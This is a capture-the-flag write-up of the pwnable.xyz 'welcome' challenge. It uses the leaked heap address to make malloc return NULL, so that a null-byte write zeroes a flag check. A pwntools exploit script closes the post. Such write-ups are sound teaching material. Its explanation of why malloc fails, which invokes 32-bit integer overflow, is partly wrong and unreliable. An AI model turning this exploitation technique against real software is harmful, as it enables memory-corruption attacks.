- Published on
pwnable.xyz - welcome
- Authors

- Name
- mfkrypt
Overview
malloc failing by integer overflow causing NULL which satisfies a condition in getting the flag
Analysis
We are given a binary with the following protections
❯ checksec challenge
[*] '/home/mfkrypt/pwn-learning-notes/pwnablexyz/welcome/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
We can observe all protections are enabled. Running the binary itself reveals a leak
Let us now check the decompiled source
undefined8 main(void)
{
long *malloc_ret;
void *buffer;
long in_FS_OFFSET;
size_t length;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
puts("Welcome.");
malloc_ret = (long *)malloc(262144);
*malloc_ret = 1; // Stores the integer 1 at the beginning of that allocated memory
__printf_chk(1,"Leak: %p\n",malloc_ret);
__printf_chk(1,"Length of your message: ");
length = 0;
__isoc99_scanf(&DAT_00100c50,&length);
buffer = malloc(length);
__printf_chk(1,"Enter your message: ");
read(0,buffer,length);
*(undefined *)((long)buffer + (length - 1)) = 0;
write(1,buffer,length);
if (*malloc_ret == 0) {
system("cat /flag");
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
We can see over here:
malloc_ret = (long *)malloc(262144);
*malloc_ret = 1;
malloc returns a pointer, malloc_ret and assigned an integer value of 1 . It will probably look like this in memory:
0x7fad99950010: 0x0000000000000001
In this line:
__printf_chk(1,"Leak: %p\n",malloc_ret);
It leaks the heap address of the returned malloc pointer. Other than that,
__isoc99_scanf(&DAT_00100c50,&length);
buffer = malloc(length);
read(0,buffer,length);
Allocates the length we input which is a long integer type to allocate memory to a buffer and then reads up the buffer up to the length .
And the part below writes a null byte at the last byte of the input buffer
*(undefined *)((long)buffer + (length - 1)) = 0;
write(1,buffer,length);
if the returned malloc integer value is 0 , we get the flag
if (*malloc_ret == 0) {
system("cat /flag");
}
Plan
Looking at the man page of malloc
On error, malloc returns NULL . Okay, soooo how does this affect what we are going to do? Well, since the program leaks an address, we can take advantage of that address and use it as a size to fail malloc when it allocates memory.
The leaked heap pointer isn’t used as a pointer in the logic — it’s used as a large number to trigger malloc failure.
Why does it error or fail? For example, the leaked pointer address is 0x7fb304b31010 the equivalent in decimal is 140406854717456 . That is 14TB of memory which is way too huge since the max value for unsigned int is 4,294,967,295 .
On a 32-bit unsigned int, very large values like the leaked address, 0x7fb304b31010 will overflow and may result in a small or even negative signed int when passed to malloc, which causes it to fail and return NULL
After overflowing the pointer of malloc In this line:
*(undefined *)((long)buffer + (length - 1)) = 0;
the buffer turns to NULL after the error:
NULL + length - 1 = length - 1
That length - 1 ends up being exactly the leaked address malloc_ret . So to make up for this we need to input the leak_address + 1 to cancel the length - 1 . But we need to convert them into a str type because scanf here expects a string input of the unsigned long int .
Exploit
We can manipulate length such that malloc(length) returns NULL, and therefore buffer = NULL. Then:
*(buffer + length - 1) = 0;
// becomes:
*(NULL + leaked_address) = 0;
// which writes a zero byte to *malloc_ret
Here is the script:
from pwn import *
elf = context.binary = ELF('./challenge', checksec=False)
libc = elf.libc
gs = '''
c
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
def exploit():
io = start()
io.recvuntil(b'Leak: ')
leak = int(io.recvline(), 16)
log.success(f"Leaked malloc address: {hex(leak)}")
io.sendlineafter(b'Length of your message: ', str(leak + 1))
io.sendlineafter(b'Enter your message: ', "cool")
io.interactive()
if __name__ == "__main__":
exploit()